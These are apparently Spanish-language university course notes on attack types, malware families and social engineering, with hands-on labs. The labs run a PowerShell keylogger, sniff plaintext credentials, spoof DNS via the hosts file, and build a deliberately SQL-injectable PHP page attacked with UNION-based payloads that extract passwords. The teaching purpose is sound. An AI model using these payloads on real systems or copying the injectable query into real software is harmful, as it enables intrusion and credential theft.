

Tipos de ataques y amenazas

Clasificación general de ataques

A. Según la naturaleza del ataque

Tipo	Definición	Ejemplo
Ataques pasivos	El atacante observa sin alterar el sistema. Difíciles de detectar.	Sniffing de tráfico de red, análisis de metadatos
Ataques activos	El atacante modifica, interrumpe o genera datos. Fáciles de detectar pero muy dañinos.	DDoS, ransomware, inyección SQL

B. Según el origen

Tipo	Definición	Ejemplo
Ataques internos	Provenientes de dentro de la organización (insiders).	Empleado que roba base de datos
Ataques externos	Provenientes de fuera de la organización.	Hacker desde otro país

C. Según el vector

- **Vectores físicos:** USB infectado, acceso a equipos sin autorización.
- **Vectores de red:** Internet, Wi-Fi público, correo electrónico.
- **Vectores humanos:** Ingeniería social, phishing.
- **Vectores de aplicación:** Vulnerabilidades en software, sitios web maliciosos.

Ejercicio en clase:

Clasifica los siguientes escenarios:

1. Un empleado copia la base de clientes a un USB. *(Interno, pasivo o activo según intención)*
2. Un atacante intercepta tráfico en una cafetería Wi-Fi. *(Externo, pasivo, red)*
3. Ransomware que cifra archivos. *(Externo, activo, aplicación/red)*

3.3 Malware: tipos y comportamiento

Definición: Software malicioso diseñado para dañar, robar información o tomar control de sistemas sin consentimiento.

Taxonomía del malware

Tipo	¿Qué hace?	¿Cómo se propaga?	Ejemplo famoso
Virus	Se adjunta a archivos legítimos y se activa al ejecutarlos. Requiere acción del usuario.	Archivos infectados, USB, email	Melissa (1999), ILOVEYOU (2000)
Gusano (Worm)	Se replica solo a través de redes. No necesita adjuntarse a archivos.	Redes, vulnerabilidades, email	WannaCry (2017), Conficker
Troyano	Se disfraza de software legítimo. No se replica solo.	Descargas falsas, email, sitios piratas	Emotet, Zeus
Ransomware	Cifra archivos y exige rescate.	Email, exploits, RDP expuesto	LockBit, REvil, WannaCry
Spyware	Espia al usuario de forma oculta para recolectar datos personales y hábitos de navegación. (teclas, pantalla, navegación).	Bundled software, exploits	Pegasus, CoolWebSearch
Adware	Muestra publicidad no deseada. A veces incluye spyware.	Instaladores de software gratis	Varios
Rootkit	Oculto la presencia de otros malwares a nivel profundo del sistema.	Exploits, troyanos	Sony BMG rootkit (2005)
Botnet	Red de computadoras infectadas controladas remotamente.	Gusanos, troyanos	Mirai, Emotet
Keylogger	Herramienta de espionaje especializada. Puede ser un programa de software o incluso un pequeño dispositivo físico conectado entre el teclado y la computadora. Su peligro radica en que, al capturar el texto plano directamente desde tus dedos, puede saltarse muchas barreras de seguridad perimetrales.	Troyano, hardware USB	Varios
Fileless malware	No escribe archivos en disco. Vive en memoria RAM. Muy difícil de detectar.	Scripts PowerShell, macros	Poweliks, Astaroth

Ciclo de infección típico

Vector de entrada → Ejecución → Escalamiento de privilegios → Persistencia → Comunicación C2 → Ejecución del objetivo

Virus : Melissa (1999) & ILOVEYOU (2000)

- **Melissa (1999):** Uno de los primeros **macro virus** masivos de la historia. Llegaba por correo electrónico en un archivo de Word con una supuesta lista de contraseñas de sitios porno. Al abrirlo, se autoenviaba automáticamente a los primeros 50 contactos de la libreta de Microsoft Outlook del usuario, colapsando los servidores de correo de empresas de todo el mundo.
- **ILOVEYOU (2000):** Un gusano altamente destructivo que infectó a millones de computadoras en pocas horas. Llegaba por correo con el asunto "ILOVEYOU" y un archivo adjunto que simulaba ser una carta de amor (LOVE-LETTER-FOR-YOU.TXT.vbs). Al abrirlo, **sobrescribía archivos importantes** (fotos, audio, documentos) y se autoenviaba a toda la lista de contactos.

Gusano : WannaCry (2017) & Conficker

- **WannaCry (2017):** Un devastador ciberataque global de **ransomware** que secuestró datos cifrándolos y exigiendo pagos en Bitcoin. Lo peligroso es que incluía capacidades de "gusano" al utilizar una vulnerabilidad de Windows filtrada de la NSA (*EternalBlue*), lo que le permitió infectar redes corporativas enteras y hospitales de forma automática sin que el usuario hiciera nada.
- **Conficker (2008):** Un gusano informático masivo y altamente sofisticado que infectó a millones de sistemas gubernamentales, militares y corporativos en más de 200 países. Utilizaba fallos en Windows para crear una **gigantesca botnet** (red de computadoras zombi) que los atacantes podían controlar remotamente, siendo muy difícil de erradicar por sus técnicas de defensa.

Troyano : Emotet & Zeus

- **Emotet (2014):** Inicialmente nació como un **troyano bancario**, pero evolucionó hasta convertirse en una de las infraestructuras de malware más peligrosas del mundo. Funcionaba como un "distribuidor", infectando computadoras a través de correos de phishing para luego vender ese acceso a otros grupos criminales que querían instalar ransomware de alto nivel.
- **Zeus (2007):** Un troyano diseñado específicamente para **robar información financiera y credenciales bancarias**. Utilizaba técnicas de *Man-in-the-Browser* para interceptar las pulsaciones del teclado (keylogging) y los formularios web cuando la víctima entraba a la página de su banco, logrando vaciar miles de cuentas a nivel mundial.

Ransomware : LockBit, REvil & WannaCry

- **LockBit:** Uno de los grupos de **Ransomware-as-a-Service (RaaS)** más prolíficos y activos de los últimos años. Operaban vendiendo su software de cifrado a otros criminales a cambio de una comisión de los rescates, destacando por su extrema velocidad para cifrar archivos y por extorsionar doblemente publicando los datos robados en la dark web si no se pagaba.
- **REvil (Sodinokibi):** Otra de las bandas criminales de **Ransomware-as-a-Service** más agresivas de la historia, responsable de ataques masivos a grandes cadenas de suministro (como Kaseya y JBS). Eran conocidos por exigir rescates multimillonarios y por amenazar directamente a los clientes de sus víctimas si estas se negaban a pagar.
- *(WannaCry está explicado arriba, pero se agrupa aquí por ser el ransomware histórico que cambió las reglas del juego en 2017).*

Spyware : Pegasus & CoolWebSearch

- **Pegasus:** Un software de **espionaje de nivel militar** desarrollado por la empresa israelí NSO Group. Se vende exclusivamente a gobiernos y es capaz de infectar teléfonos iPhone y Android en silencio mediante ataques "Zero-Click" (sin que la víctima presione ningún enlace). Una vez dentro, tiene acceso total a llamadas, mensajes (incluso cifrados), fotos, micrófonos y cámaras.
- **CoolWebSearch (2003):** Uno de los primeros y más molestos programas de **Spyware/Adware** que plagaron Internet. Infectaba el navegador Internet Explorer para redirigir las búsquedas del usuario hacia sitios porno o de publicidad, cambiaba la página de inicio, instalaba barras de herramientas no deseadas y ralentizaba por completo la computadora.

Rootkit : Sony BMG Rootkit (2005)

- **Sony BMG rootkit (2005):** Uno de los mayores escándalos de privacidad tecnológica. La discográfica Sony BMG incluyó un software de protección contra copias (DRM) en millones de sus CDs de música. Cuando el usuario ponía el CD en su computadora, este instalaba ocultamente un **rootkit** en el sistema que abría graves brechas de seguridad físicas y ocultaba carpetas, permitiendo que virus legítimos usaran esa misma vulnerabilidad para atacar el sistema.

Botnet : Mirai & Emotet

- **Mirai (2016):** Un malware histórico que infectó masivamente dispositivos conectados a Internet (Internet de las Cosas o **IoT**, como cámaras de seguridad, routers y grabadoras web) aprovechando que venían de fábrica con contraseñas por defecto (como admin/admin). Formó una botnet tan gigantesca que logró tirar servicios como

Twitter, Netflix y Spotify mediante ataques masivos de denegación de servicio (DDoS) atacando sus servidores directamente.

- *(Emotet está explicado arriba, pero en este contexto se agrupa junto a Mirai por ser las dos mayores redes de "botnets/distribución" de la historia de la ciberseguridad).*

Fileless malware : Poweliks & Astaroth

- **Poweliks (2014):** Un malware pionero en la técnica **Fileless (sin archivos)**. No guardaba ningún archivo ejecutable en el disco duro para evitar ser detectado por los antivirus tradicionales; en su lugar, se escondía por completo dentro del Registro de Windows y ejecutaba su código directamente en la memoria RAM del sistema.
- **Astaroth:** Un troyano de robo de información altamente sofisticado (muy activo en América Latina) que destaca por utilizar técnicas **Living off the Land (LotL) - subsistir usando solo lo que el SO te da, sin llevar provisiones externas**. Esto significa que no utiliza herramientas maliciosas propias, sino que abusa de herramientas y comandos legítimos que ya vienen instalados en Windows (como `bitsadmin.exe` o `certutil.exe`) para pasar completamente desapercibido ante las defensas del sistema.

Reporte de Laboratorio: Desarrollo y Ejecución de Keylogger en PowerShell

Este documento detalla los pasos para la ejecución de la herramienta de auditoría de teclado desarrollada en PowerShell, así como el análisis técnico de su funcionamiento interno.

Guía de Ejecución

Para iniciar el laboratorio y comenzar el registro de pulsaciones, sigue estos pasos:

1. **Guardar el archivo:** Asegúrate de guardar el script con el nombre `keylogger.ps1` dentro de la ruta configurada (`C:\Users\tu_usuario\Seguridad\`).
2. **Abrir la terminal:** Ejecuta **PowerShell** en tu sistema Windows.
3. **Habilitar permisos (si es necesario):** Si Windows bloquea la ejecución de scripts locales, ejecuta el siguiente comando en la consola para permitirlo temporalmente:

```
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
```

4. **Iniciar el script:** Navega hasta la carpeta y ejecuta el archivo:

```
cd C:\Users\tu_usuario\Seguridad\  
.\keylogger.ps1
```

5. **Finalizar la prueba:** El programa capturará las pulsaciones de forma global. Para detener el laboratorio de manera segura, presiona la combinación de teclas **Ctrl + C** en la ventana de PowerShell. El resultado se almacenará en el archivo de texto `keylog.txt`.

Explicación Técnica del Código

El script está diseñado bajo un enfoque híbrido que combina la versatilidad de PowerShell con el poder de las **APIs nativas de Windows (.NET y Win32)**. Su funcionamiento se divide en tres componentes principales:

- **Add-Type -AssemblyName System.Windows.Forms – Para que funcione en el ambiente grafico -**

Carga en memoria la librería gráfica de Windows. Esto es indispensable para que PowerShell entienda el enumerador `[System.Windows.Forms.Keys]`, el cual se encarga de traducir los códigos numéricos del teclado a nombres de teclas legibles

por humanos (por ejemplo, convertir el número 65 en la letra A).

- **Importación de la API de Windows (GetAsyncKeyState) – Determina cuando se presiona una tecla -**

Utiliza *P/Invoke* (Platform Invoke) para llamar a la función nativa `GetAsyncKeyState` ubicada en la biblioteca del sistema `user32.dll`. Esta función es la clave del keylogger, ya que determina de forma asíncrona si una tecla específica está presionada o no en todo el sistema operativo, sin importar qué ventana tenga el foco.

- **Bucle de Monitoreo Global (while y for)**

El programa entra en un bucle infinito (`while ($true)`) que escanea constantemente los códigos de teclas del 1 al 254 (`for`).

- **La máscara matemática (-and 0x8000):** Al consultar el estado de una tecla, la API devuelve un valor binario. Al aplicar la máscara `0x8000`, el script comprueba si el bit más significativo está activo, lo que confirma de manera exacta que la tecla **está siendo presionada en ese milisegundo**.
- **Start-Sleep -Milliseconds 40:** Controla la velocidad del bucle. Al pausar el script por 40 milisegundos en cada ciclo, se evita que el consumo de la CPU se eleve al 100%, manteniendo el script ligero y eficiente para la práctica.
- **Out-File:** Cada coincidencia positiva se escribe inmediatamente al final (`- Append`) del archivo de texto sin saltos de línea automáticos (`-NoNewline`).

3.4 Ingeniería social y ataques a credenciales

Ingeniería social

"El eslabón más débil de la seguridad es el humano." — Kevin Mitnick

Técnica	Descripción	Ejemplo
Phishing	Email masivo falso que suplanta a una entidad legítima para robar datos.	Su cuenta de Bancolombia será bloqueada. Haga clic aquí.
Spear Phishing	Phishing dirigido a una persona específica, con información personalizada.	Email al rector con su nombre, mencionando un proyecto real.
Whaling	Spear phishing dirigido a altos ejecutivos (CEOs, directores).	Email al CEO suplantando al CFO pidiendo transferencia urgente.
Vishing	Phishing por llamada telefónica (voz).	Llamada de "soporte técnico de Microsoft" pidiendo acceso remoto.
Smishing	Phishing por SMS.	Mensaje de texto: "Paquete de DHL retenido. Pague aquí."
Baiting	Dejar cebo físico o digital para que la víctima muerda.	USB infectado dejado en el parqueadero de la universidad con etiqueta "Nómina 2026".
Pretexting	Crear un escenario falso para obtener información.	Llamar a RRHH suplantando a un auditor y pidiendo lista de empleados.
Quid pro quo	Ofrecer algo a cambio de información.	"Le regalo un gift card si responde esta encuesta de seguridad."
Tailgating / Piggybacking	Seguir físicamente a alguien para entrar a zonas restringidas.	Entrar al edificio detrás de un profesor cuando abre la puerta con tarjeta.

Ataques a contraseñas

Técnica	Descripción	Contramedida
Fuerza bruta	Probar todas las combinaciones posibles.	Bloqueo de cuenta tras intentos fallidos, CAPTCHA
Ataque de diccionario	Probar palabras comunes del diccionario.	Contraseñas largas y complejas
Rainbow Tables	Tablas precomputadas de hashes para revertirlos rápido.	Salting (agregar valor aleatorio al hash)
Credential Stuffing	Usar credenciales filtradas de un sitio en otros sitios.	No reutilizar contraseñas, MFA
Pass the Hash	Usar el hash de la contraseña sin necesidad de conocer la contraseña.	Windows Defender Credential Guard
Password Spraying	Probar una contraseña común contra muchos usuarios.	Monitoreo de intentos, MFA

3.5 Ataques a redes y aplicaciones web

Ataques a redes

Ataque	Descripción	Mecanismo
DDoS	Saturar un servicio con tráfico masivo para dejarlo fuera de línea.	Botnets, amplificación DNS/NTP
Man in the Middle (MitM)	Interceptar comunicación entre dos partes sin que lo sepan.	ARP spoofing, Wi-Fi falso (Evil Twin)
Spoofing	Suplantar identidad de un dispositivo, usuario o red.	IP spoofing, MAC spoofing, Caller ID spoofing
Sniffing	Capturar y analizar tráfico de red.	Wireshark en red no cifrada
DNS Spoofing / Cache Poisoning	Redirigir tráfico a sitios falsos manipulando DNS.	Envenenamiento de caché DNS
Session Hijacking	Robar una sesión activa para suplantar al usuario.	Robo de cookies, predicación de IDs de sesión

Práctica de Laboratorio: Captura y Análisis de Tráfico (Sniffing)

El objetivo es comprender el concepto de Sniffing, el cual consiste en capturar y analizar el tráfico de red. Además de demostrar la vulnerabilidad de las comunicaciones cuando se realizan en una red no cifrada.

Herramientas necesarias:

- Herramienta principal: Wireshark.
- Entorno: Una máquina virtual o física, y un sitio web de pruebas HTTP (sin certificado de seguridad).

Guía de Ejecución:

- Preparación: Instalar y abrir el programa Wireshark en el equipo de prueba.
- Selección de Interfaz: En la pantalla principal de Wireshark, seleccionar la tarjeta de red activa (ej. Wi-Fi o Ethernet) por la cual está saliendo a internet el equipo.
- Inicio de Captura: Iniciar la captura de paquetes. En este punto, la herramienta empezará a registrar todo el tráfico entrante y saliente.
- Simulación del usuario: Abrir el navegador e ingresar a:
http://redtauros.com/Clases/Seguridad%20Informatica/sniffer_sin_html.html
- Usar las siguientes credenciales:
 - usuario : admin
 - clave : 1234
- Análisis de Sniffing: Volver a Wireshark y detener la captura de tráfico.
- Filtrado de información: Utilizar la barra de filtros de Wireshark escribiendo http para visualizar únicamente el tráfico web no cifrado. Aplicar el filtro `http.request.method == "POST"` para aislar el envío de datos.
- Localización de credenciales: Buscar el paquete con el método POST (que es el momento exacto donde se envió el formulario). Al inspeccionar el contenido de este paquete, los estudiantes podrán ver las credenciales (usuario y contraseña) viajando en texto plano.

Explicación Técnica para la clase:

El Sniffing permite capturar y analizar el tráfico de red que circula por la interfaz seleccionada.

Esta demostración evidencia los riesgos de interactuar en una red no cifrada, ya que herramientas como Wireshark pueden interceptar las comunicaciones y exponer datos sensibles de forma sencilla.

Contramedida: Para mitigar este tipo de ataques de captura, es mandatorio utilizar protocolos que cifren la comunicación de extremo a extremo (como HTTPS, SSH o VPNs), lo cual haría que, aunque el atacante capture el paquete, su contenido sea completamente ilegible.

Práctica de Laboratorio: DNS Spoofing

Ejecutar el "DNS Spoofing" (Modificar el archivo Hosts)

Ahora simularemos el ataque envenenando el registro DNS de la máquina víctima (en este caso, tu propio Windows).

1. Abre tu WSL e inicia tu servidor web.

2. Identifica la ip de tu WSL con :

ip a

3. En Windows, abre el **Bloc de notas** como **Administrador** (haz clic derecho en el menú inicio sobre el Bloc de notas -> Ejecutar como administrador).

4. Ve a Archivo > Abrir y navega a la siguiente ruta:

C:\Windows\System32\drivers\etc

5. Cambia el filtro de "Documentos de texto (.txt)" a "Todos los archivos (*.*)" para poder ver el archivo llamado hosts. Ábrelo.

6. Al final del archivo, agrega la siguiente línea para "envenenar" el dominio (puedes usar el dominio que prefieras):

172.19.73.227 unikatolica.edu.co

127.0.0.1 unikatolica.edu.co

(Nota: WSL comparte la interfaz de red local con Windows, por lo que 127.0.0.1).

7. Guarda los cambios (Ctrl + G).

8. Abre con tu navegador e ingresa a unikatolica.edu.co

9. Que pasa si intentas con <https://unikatolica.edu.co>

10. Restaurar el sistema (Limpieza), Es vital borrar las líneas agregadas en el archivo hosts de Windows y guardar el archivo, para que su navegación vuelva a la normalidad.

Ataques a aplicaciones web (OWASP Top 10)

Ataque	Descripción	Ejemplo
Inyección SQL	Insertar código SQL malicioso en campos de entrada.	admin' OR '1'='1 en campo de login
XSS (Cross-Site Scripting)	inyectar scripts maliciosos en páginas web vistas por otros usuarios.	Script en comentario de blog que roba cookies
CSRF (Cross-Site Request Forgery)	Forzar a un usuario autenticado a ejecutar acciones no deseadas.	Link que cambia contraseña del usuario sin su consentimiento
Broken Authentication	Fallas en mecanismos de login que permiten suplantación.	Fuerza bruta sin bloqueo, sesiones predecibles
Security Misconfiguration	Configuraciones por defecto inseguras.	Contraseñas por defecto, puertos abiertos innecesarios

Laboratorio guiado

Demostración en DVWA (Damn Vulnerable Web Application) o WebGoat: Mostrar una inyección SQL básica en un formulario de login.

Para crear este entorno de pruebas de forma segura en tu **WSL Ubuntu**, construiremos un laboratorio local cerrado utilizando una pequeña base de datos en **MySQL** y una interfaz web muy simple escrita en **PHP** (utilizando el servidor web integrado de PHP para no complicar la instalación con Apache o Nginx).

Sigue estos pasos secuenciales para armar tu escenario de **Inyección SQL (SQLi) basada en contenido (In-band/Error-based)**.

Paso 1: Configurar la Base de Datos en MySQL (WSL)

Primero, entra a tu terminal de Ubuntu en WSL, accede a MySQL y crea una base de datos con una tabla de usuarios vulnerables.

1. Abre MySQL como administrador:

```
sudo mysql -u root -p
```

2. Ejecuta los siguientes comandos SQL para crear la base de datos de prueba e insertar un registro:

```
-- Crear la base de datos de laboratorio
```

```
CREATE DATABASE lab_seguridad;
```

```
USE lab_seguridad;
```

```
-- Crear tabla de usuarios
```

```
CREATE TABLE usuarios (
```

```
  id INT AUTO_INCREMENT PRIMARY KEY,
```

```
  usuario VARCHAR(50) NOT NULL,
```

```
  password VARCHAR(50) NOT NULL,
```

```
  email VARCHAR(100) NOT NULL
```

```
);
```

```
-- Insertar un usuario administrador de prueba
```

```
INSERT INTO usuarios (usuario, password, email)
```

```
VALUES ('admin', 'SuperSecretPassword123', 'admin@laboratorio.local'), ('carlos',  
'SuperSecretPassword456', 'carlos@laboratorio.local');
```

3. Crear el usuario 'app_vulnerable' con una contraseña nativa

```
CREATE USER 'app_vulnerable'@'localhost' IDENTIFIED WITH  
mysql_native_password BY 'ClaveLaboratorio123!';
```

4. Darle todos los privilegios SOLO sobre la base de datos del ejercicio

```
GRANT ALL PRIVILEGES ON lab_seguridad.* TO 'app_vulnerable'@'localhost';
```

5. Aplicar los cambios y salir

```
FLUSH PRIVILEGES;
```

```
EXIT
```

Paso 2: Instalar PHP en WSL Ubuntu

Para levantar la página web rápidamente sin configurar servidores complejos, utilizaremos PHP. Instálalo ejecutando:

```
sudo apt update
```

```
sudo apt install php php-mysql -y
```

Paso 3: Crear la página web vulnerable

Crea una carpeta para tu proyecto y genera un archivo llamado `buscar.php`. Este código contiene la **falla de seguridad clásica**: concatena directamente la entrada del usuario en la consulta SQL sin sanitizarla ni usar *Prepared Statements*.

1. Crea el archivo dentro de `/var/www/html` :

```
nano buscar.php
```

2. Pega el siguiente código fuente:

```
<?php

ini_set('display_errors', 1);

ini_set('display_startup_errors', 1);

error_reporting(E_ALL);

// 1. Conexión a la base de datos

$conexion = mysqli_connect("localhost", "app_vulnerable", "ClaveLaboratorio123!",
"lab_seguridad");

if (!$conexion) {

    die("Error de conexión: " . mysqli_connect_error());

}


$resultado_busqueda = "";

// 2. Lógica vulnerable: Se recibe el parámetro 'nombre' por la URL (GET)
if (isset($_GET['nombre'])) {

    $nombre = $_GET['nombre'];

    // ¡EL ERROR ESTÁ AQUÍ! Se concatena la variable directamente en el query
    $query = "SELECT usuario, email FROM usuarios WHERE usuario = '$nombre'";

    // Ejecutar la consulta y guardar el resultado
    $resultado = mysqli_query($conexion, $query);
```

```

if ($resultado) {

    if (mysqli_num_rows($resultado) > 0) {

        while ($fila = mysqli_fetch_assoc($resultado)) {

            $resultado_busqueda .= "<p><strong>Usuario encontrado:</strong> " .
            $fila['usuario'] . " | <strong>Email:</strong> " . $fila['email'] . "</p>";

        }

    } else {

        $resultado_busqueda = "<p style='color:red;'>No se encontraron usuarios.</p>";

    }

} else {

    // Mostrar el error de la base de datos facilita los ataques basados en errores

    $resultado_busqueda = "<p style='color:red;'>Error en la consulta SQL: " .
    mysqli_error($conexion) . "</p>";

}

}

?>

```

```

<!DOCTYPE html>

```

```

<html lang="es">

```

```

<head>

```

```

    <meta charset="UTF-8">

```

```

    <title>Laboratorio de Inyección SQL</title>

```

```

</head>

```

```

<body style="font-family: Arial, sans-serif; margin: 40px;">

```

```

    <h2>Buscador de Usuarios (Vulnerable a SQLi)</h2>

```

```
<!-- Formulario de búsqueda -->
```

```
<form method="GET" action="buscar.php">
```

```
<label for="nombre">Ingresa el nombre de usuario:</label>
```

```
<input type="text" id="nombre" name="nombre" placeholder="ej. admin" required>
```

```
<button type="submit">Buscar</button>
```

```
</form>
```

```
<hr>
```

```
<h3>Resultados del Servidor:</h3>
```

```
<div>
```

```
<?php echo $resultado_busqueda; ?>
```

```
</div>
```

```
</body>
```

```
</html>
```

(Asegúrate de cambiar `TU_CONTRASEÑA_DE_MYSQL` por tu clave real de acceso a MySQL).

Paso 4: Levantar el Servidor Web

En la misma carpeta donde creaste el archivo `buscar.php`, ejecuta el servidor web embebido de PHP en el puerto `8080`:

```
php -S 127.0.0.1:8080
```

Ahora abre el navegador web en tu sistema operativo anfitrión (Windows) e ingresa a:
`http://127.0.0`

Paso 5: Ejecutar la Inyección SQL Básica

Para comprobar que el laboratorio funciona, realiza estas dos pruebas directamente en el cuadro de búsqueda de la página:

1. **Búsqueda Legítima:** Escribe `admin` y presiona Buscar. Te devolverá el usuario y el correo.
2. **La Inyección SQL:** Escribe exactamente lo siguiente en la barra de búsqueda:

```
' OR '1'='1
```

¿Qué pasa internamente? Al romper las comillas, transformas la consulta del servidor en:

```
SELECT usuario, email FROM usuarios WHERE usuario = " OR '1'='1'
```

Como `'1'='1'` siempre es verdadero (*Always True*), el motor de la base de datos se salta la validación del nombre y te devolverá todos los registros almacenados en la tabla automáticamente.

3. Extraer información del servidor (Enumeración)

Puedes forzar a la base de datos a que te diga qué versión de MySQL estás usando y con qué usuario se está ejecutando la consulta trasera.

Escribe en el buscador:

```
sql
```

```
' UNION SELECT @@version, user() -- -
```

Qué hace internamente: El comando UNION fusiona el resultado de la búsqueda original con una consulta nueva. Te mostrará en pantalla datos técnicos del servidor como 8.0.x y [app_vulnerable@localhost](#).

4. Mapear la estructura de la base de datos (Buscar otras tablas)

Un atacante no conoce los nombres de las tablas de tu sistema, pero puede obligar a MySQL a revelarlos consultando el diccionario interno del motor (`information_schema`).

```
Sql
```

```
' UNION SELECT table_name, table_schema FROM information_schema.tables  
WHERE table_schema=database() -- -
```

Qué hace internamente: Te listará todas las tablas que existen dentro de tu base de datos actual (lab_seguridad), permitiendo descubrir qué más hay guardado ahí.

5. Extraer columnas sensibles (Robo de credenciales)

Una vez que descubres que existe una tabla llamada usuarios, puedes extraer columnas que originalmente **no estaban diseñadas para mostrarse en esa página**, como las contraseñas (*passwords*).

Sql

```
' UNION SELECT usuario, password FROM usuarios -- -
```

Trabajo independiente

- Lectura: [OWASP Top 10](#) (última versión)
- Investigación: Elegir un caso real reciente (2024-2025) y clasificar el ataque según taxonomía vista en clase
- Práctica: Instalar DVWA o WebGoat en máquina virtual y completar los 3 primeros laboratorios
- Video: Ver documental o charla sobre ingeniería social (sugerencia: charlas de Kevin Mitnick o Social Engineering Framework)